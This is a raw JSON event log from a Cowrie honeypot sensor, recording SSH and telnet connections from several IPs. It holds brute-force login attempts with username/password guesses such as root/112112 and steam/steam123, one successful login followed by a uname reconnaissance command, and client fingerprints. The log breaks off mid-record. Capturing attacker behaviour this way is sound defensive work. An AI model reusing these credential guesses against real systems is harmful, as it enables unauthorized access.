{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:04.724601Z","src_ip":"194.113.233.25","session":"38d9777d7b2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:04.824371Z","src_ip":"194.113.233.25","session":"38d9777d7b2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"112112","message":"login attempt [root/112112] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:05.112597Z","src_ip":"194.113.233.25","session":"38d9777d7b2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:06.208613Z","src_ip":"194.113.233.25","session":"38d9777d7b2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33842,"dst_ip":"10.17.0.5","dst_port":22,"session":"541dd8002ddb","protocol":"ssh","message":"New connection: 83.168.110.85:33842 (10.17.0.5:22) [session: 541dd8002ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:08.707045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:08.713414Z","src_ip":"83.168.110.85","session":"541dd8002ddb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:08.835214Z","src_ip":"83.168.110.85","session":"541dd8002ddb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:09.199394Z","src_ip":"83.168.110.85","session":"541dd8002ddb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daemon","password":"daemon","message":"login attempt [daemon/daemon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:09.895965Z","src_ip":"176.65.139.118","session":"e9fdd7dd912d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:10.323010Z","src_ip":"83.168.110.85","session":"541dd8002ddb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":36064,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bda092d2c7d","protocol":"ssh","message":"New connection: 83.168.110.85:36064 (10.17.0.5:22) [session: 2bda092d2c7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:15.891309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:16.071549Z","src_ip":"83.168.110.85","session":"2bda092d2c7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:16.077447Z","src_ip":"83.168.110.85","session":"2bda092d2c7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:16.580430Z","src_ip":"83.168.110.85","session":"2bda092d2c7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.20787286758423,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:17.061380Z","src_ip":"152.42.224.71","session":"ca592d5b97f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:17.704794Z","src_ip":"83.168.110.85","session":"2bda092d2c7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.285974979400635,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:18.394712Z","src_ip":"176.65.139.118","session":"e9fdd7dd912d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":33828,"dst_ip":"159.203.135.109","dst_port":23,"session":"963520cfa992","protocol":"telnet","message":"New connection: 176.65.139.118:33828 (159.203.135.109:23) [session: 963520cfa992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:18.697315Z"}
{"eventid":"cowrie.session.closed","duration":30.713040113449097,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:19.153798Z","src_ip":"45.186.220.213","session":"cf2baf1035b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.197829246520996,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:20.894982Z","src_ip":"176.65.139.118","session":"963520cfa992","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":36070,"dst_ip":"10.17.0.5","dst_port":22,"session":"9de6b5f30309","protocol":"ssh","message":"New connection: 83.168.110.85:36070 (10.17.0.5:22) [session: 9de6b5f30309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:23.374322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:23.382828Z","src_ip":"83.168.110.85","session":"9de6b5f30309","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:23.503875Z","src_ip":"83.168.110.85","session":"9de6b5f30309","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:23.878508Z","src_ip":"83.168.110.85","session":"9de6b5f30309","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:25.101004Z","src_ip":"83.168.110.85","session":"9de6b5f30309","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":50228,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb00ee81462b","protocol":"ssh","message":"New connection: 83.168.110.85:50228 (10.17.0.5:22) [session: bb00ee81462b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:30.526850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:30.687773Z","src_ip":"83.168.110.85","session":"bb00ee81462b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:30.691885Z","src_ip":"83.168.110.85","session":"bb00ee81462b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:31.322937Z","src_ip":"83.168.110.85","session":"bb00ee81462b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:31.619998Z","src_ip":"83.168.110.85","session":"bb00ee81462b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:31.623400Z","src_ip":"83.168.110.85","session":"bb00ee81462b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:31.746644Z","src_ip":"83.168.110.85","session":"bb00ee81462b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:31.753372Z","src_ip":"83.168.110.85","session":"bb00ee81462b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":42030,"dst_ip":"10.17.0.5","dst_port":22,"session":"de8e5b85201b","protocol":"ssh","message":"New connection: 89.108.118.91:42030 (10.17.0.5:22) [session: de8e5b85201b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:32.052721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:32.058290Z","src_ip":"89.108.118.91","session":"de8e5b85201b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:32.201194Z","src_ip":"89.108.118.91","session":"de8e5b85201b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"volkodav","message":"login attempt [root/volkodav] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:32.631436Z","src_ip":"89.108.118.91","session":"de8e5b85201b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:33.778776Z","src_ip":"89.108.118.91","session":"de8e5b85201b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":50544,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f4f671c29cd","protocol":"ssh","message":"New connection: 83.168.110.85:50544 (10.17.0.5:22) [session: 5f4f671c29cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:37.738706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:37.743802Z","src_ip":"83.168.110.85","session":"5f4f671c29cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:37.865571Z","src_ip":"83.168.110.85","session":"5f4f671c29cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:38.243853Z","src_ip":"83.168.110.85","session":"5f4f671c29cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00091552734375,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:38.278703Z","src_ip":"152.42.224.71","session":"755d6a9439b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":45876,"dst_ip":"159.203.135.109","dst_port":22,"session":"42bcb60ce847","protocol":"ssh","message":"New connection: 147.45.199.80:45876 (159.203.135.109:22) [session: 42bcb60ce847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:38.744623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:31:38.749478Z","src_ip":"147.45.199.80","session":"42bcb60ce847","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS